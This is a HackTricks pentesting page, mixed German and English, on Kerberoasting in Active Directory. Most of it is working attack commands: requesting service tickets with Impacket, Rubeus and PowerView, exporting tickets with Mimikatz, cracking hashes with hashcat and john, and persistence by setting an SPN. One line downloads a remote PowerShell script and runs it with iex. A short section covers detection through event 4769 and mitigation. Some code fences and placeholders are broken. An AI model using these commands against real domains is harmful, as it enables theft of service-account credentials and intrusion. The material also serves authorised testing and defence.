# Kerberoast {{#include ../../banners/hacktricks-training.md}} ## Kerberoast Kerberoasting konzentriert sich auf den Erwerb von **TGS-Tickets**, insbesondere solchen, die mit Diensten verbunden sind, die unter **Benutzerkonten** in **Active Directory (AD)** betrieben werden, ausgenommen **Computer-Konten**. Die Verschlüsselung dieser Tickets verwendet Schlüssel, die aus **Benutzerpasswörtern** stammen, was die Möglichkeit des **Offline-Credential-Crackings** eröffnet. Die Verwendung eines Benutzerkontos als Dienst wird durch eine nicht leere **"ServicePrincipalName"**-Eigenschaft angezeigt. Für die Ausführung von **Kerberoasting** ist ein Domänenkonto erforderlich, das in der Lage ist, **TGS-Tickets** anzufordern; dieser Prozess erfordert jedoch keine **besonderen Berechtigungen**, was ihn für jeden mit **gültigen Domänenanmeldeinformationen** zugänglich macht. ### Wichtige Punkte: - **Kerberoasting** zielt auf **TGS-Tickets** für **Benutzerkonto-Dienste** innerhalb von **AD** ab. - Tickets, die mit Schlüsseln aus **Benutzerpasswörtern** verschlüsselt sind, können **offline geknackt** werden. - Ein Dienst wird durch einen **ServicePrincipalName** identifiziert, der nicht null ist. - **Keine besonderen Berechtigungen** sind erforderlich, nur **gültige Domänenanmeldeinformationen**. ### **Angriff** > [!WARNING] > **Kerberoasting-Tools** fordern typischerweise **`RC4-Verschlüsselung`** an, wenn sie den Angriff durchführen und TGS-REQ-Anfragen initiieren. Dies liegt daran, dass **RC4** [**schwächer**](https://www.stigviewer.com/stig/windows_10/2017-04-28/finding/V-63795) und einfacher offline mit Tools wie Hashcat zu knacken ist als andere Verschlüsselungsalgorithmen wie AES-128 und AES-256.\ > RC4 (Typ 23) Hashes beginnen mit **`$krb5tgs$23$*`**, während AES-256 (Typ 18) mit **`$krb5tgs$18$*`** beginnen.\ > Außerdem sei vorsichtig, denn `Rubeus.exe kerberoast` fordert automatisch Tickets über ALLE verwundbaren Konten an, was zu einer Entdeckung führen kann. Finde zuerst kerberoastbare Benutzer mit interessanten Berechtigungen und führe es dann nur über diese aus. ```bash #### **Linux** ```bash # Metasploit-Framework msf> use auxiliary/gather/get_user_spns # Impacket GetUserSPNs.py -request -dc-ip / -outputfile hashes.kerberoast # Passwort wird abgefragt GetUserSPNs.py -request -dc-ip -hashes : / -outputfile hashes.kerberoast # kerberoast: https://github.com/skelsec/kerberoast kerberoast ldap spn 'ldap+ntlm-password://\:@' -o kerberoastable # 1. Enumerieren Sie kerberoastable Benutzer kerberoast spnroast 'kerberos+password://\:@' -t kerberoastable_spn_users.txt -o kerberoast.hashes # 2. Hashes dumpen ``` Multi-features tools including a dump of kerberoastable users: ```bash # ADenum: https://github.com/SecuProject/ADenum adenum -d -ip -u -p -c ``` #### Windows - **Enumerate Kerberoastable users** ```bash # Kerberoastbare Benutzer abrufen setspn.exe -Q */* #Dies ist eine integrierte Binärdatei. Konzentrieren Sie sich auf Benutzerkonten Get-NetUser -SPN | select serviceprincipalname #Powerview .\Rubeus.exe kerberoast /stats ``` - **Technique 1: Ask for TGS and dump it from memory** ```bash #TGS im Speicher von einem einzelnen Benutzer abrufen Add-Type -AssemblyName System.IdentityModel New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "ServicePrincipalName" #Beispiel: MSSQLSvc/mgmt.domain.local #TGSs für ALLE kerberoastbaren Konten abrufen (PCs eingeschlossen, nicht wirklich klug) setspn.exe -T DOMAIN_NAME.LOCAL -Q */* | Select-String '^CN' -Context 0,1 | % { New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.Context.PostContext[0].Trim() } #Kerberos-Tickets im Speicher auflisten klist # Sie aus dem Speicher extrahieren Invoke-Mimikatz -Command '"kerberos::list /export"' #Tickets in den aktuellen Ordner exportieren # Kirbi-Ticket in john umwandeln python2.7 kirbi2john.py sqldev.kirbi # John in hashcat umwandeln sed 's/\$krb5tgs\$\(.*\):\(.*\)/\$krb5tgs\$23\$\*\1\*\$\2/' crack_file > sqldev_tgs_hashcat ``` - **Technique 2: Automatic tools** ```bash # Powerview: Kerberoast-Hash eines Benutzers abrufen Request-SPNTicket -SPN "" -Format Hashcat #Verwendung von PowerView Ex: MSSQLSvc/mgmt.domain.local # Powerview: Alle Kerberoast-Hashes abrufen Get-DomainUser * -SPN | Get-DomainSPNTicket -Format Hashcat | Export-Csv .\kerberoast.csv -NoTypeInformation # Rubeus .\Rubeus.exe kerberoast /outfile:hashes.kerberoast .\Rubeus.exe kerberoast /user:svc_mssql /outfile:hashes.kerberoast #Spezifischer Benutzer .\Rubeus.exe kerberoast /ldapfilter:'admincount=1' /nowrap #Admins abrufen # Invoke-Kerberoast iex (new-object Net.WebClient).DownloadString("https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Kerberoast.ps1") Invoke-Kerberoast -OutputFormat hashcat | % { $_.Hash } | Out-File -Encoding ASCII hashes.kerberoast ``` > [!WARNING] > When a TGS is requested, Windows event `4769 - A Kerberos service ticket was requested` is generated. ### Cracking ```bash john --format=krb5tgs --wordlist=passwords_kerb.txt hashes.kerberoast hashcat -m 13100 --force -a 0 hashes.kerberoast passwords_kerb.txt ./tgsrepcrack.py wordlist.txt 1-MSSQLSvc~sql01.medin.local~1433-MYDOMAIN.LOCAL.kirbi ``` ### Persistence If you have **enough permissions** over a user you can **make it kerberoastable**: ```bash Set-DomainObject -Identity -Set @{serviceprincipalname='just/whateverUn1Que'} -verbose ``` You can find useful **tools** for **kerberoast** attacks here: [https://github.com/nidem/kerberoast](https://github.com/nidem/kerberoast) If you find this **error** from Linux: **`Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)`** it because of your local time, you need to synchronise the host with the DC. There are a few options: - `ntpdate ` - Deprecated as of Ubuntu 16.04 - `rdate -n ` ### Mitigation Kerberoasting can be conducted with a high degree of stealthiness if it is exploitable. In order to detect this activity, attention should be paid to **Security Event ID 4769**, which indicates that a Kerberos ticket has been requested. However, due to the high frequency of this event, specific filters must be applied to isolate suspicious activities: - The service name should not be **krbtgt**, as this is a normal request. - Service names ending with **$** should be excluded to avoid including machine accounts used for services. - Requests from machines should be filtered out by excluding account names formatted as **machine@domain**. - Only successful ticket requests should be considered, identified by a failure code of **'0x0'**. - **Most importantly**, the ticket encryption type should be **0x17**, which is often used in Kerberoasting attacks. ```bash Get-WinEvent -FilterHashtable @{Logname='Security';ID=4769} -MaxEvents 1000 | ?{$_.Message.split("`n")[8] -ne 'krbtgt' -and $_.Message.split("`n")[8] -ne '*$' -and $_.Message.split("`n")[3] -notlike '*$@*' -and $_.Message.split("`n")[18] -like '*0x0*' -and $_.Message.split("`n")[17] -like "*0x17*"} | select ExpandProperty message ``` To mitigate the risk of Kerberoasting: - Ensure that **Service Account Passwords are difficult to guess**, recommending a length of more than **25 characters**. - Utilize **Managed Service Accounts**, which offer benefits like **automatic password changes** and **delegated Service Principal Name (SPN) Management**, enhancing security against such attacks. By implementing these measures, organizations can significantly reduce the risk associated with Kerberoasting. ## Kerberoast w/o domain account In **September 2022**, a new way to exploit a system was brought to light by a researcher named Charlie Clark, shared through his platform [exploit.ph](https://exploit.ph/). This method allows for the acquisition of **Service Tickets (ST)** via a **KRB_AS_REQ** request, which remarkably does not necessitate control over any Active Directory account. Essentially, if a principal is set up in such a way that it doesn't require pre-authentication—a scenario similar to what's known in the cybersecurity realm as an **AS-REP Roasting attack**—this characteristic can be leveraged to manipulate the request process. Specifically, by altering the **sname** attribute within the request's body, the system is deceived into issuing a **ST** rather than the standard encrypted Ticket Granting Ticket (TGT). The technique is fully explained in this article: [Semperis blog post](https://www.semperis.com/blog/new-attack-paths-as-requested-sts/). > [!WARNING] > You must provide a list of users because we don't have a valid account to query the LDAP using this technique. #### Linux - [impacket/GetUserSPNs.py from PR #1413](https://github.com/fortra/impacket/pull/1413): ```bash GetUserSPNs.py -no-preauth "NO_PREAUTH_USER" -usersfile "LIST_USERS" -dc-host "dc.domain.local" "domain.local"/ ``` #### Windows - [GhostPack/Rubeus from PR #139](https://github.com/GhostPack/Rubeus/pull/139): ```bash Rubeus.exe kerberoast /outfile:kerberoastables.txt /domain:"domain.local" /dc:"dc.domain.local" /nopreauth:"NO_PREAUTH_USER" /spn:"TARGET_SERVICE" ``` ## References - [https://www.tarlogic.com/blog/how-to-attack-kerberos/](https://www.tarlogic.com/blog/how-to-attack-kerberos/) - [https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/t1208-kerberoasting](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/t1208-kerberoasting) - [https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberoasting-requesting-rc4-encrypted-tgs-when-aes-is-enabled](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberoasting-requesting-rc4-encrypted-tgs-when-aes-is-enabled) {{#include ../../banners/hacktricks-training.md}}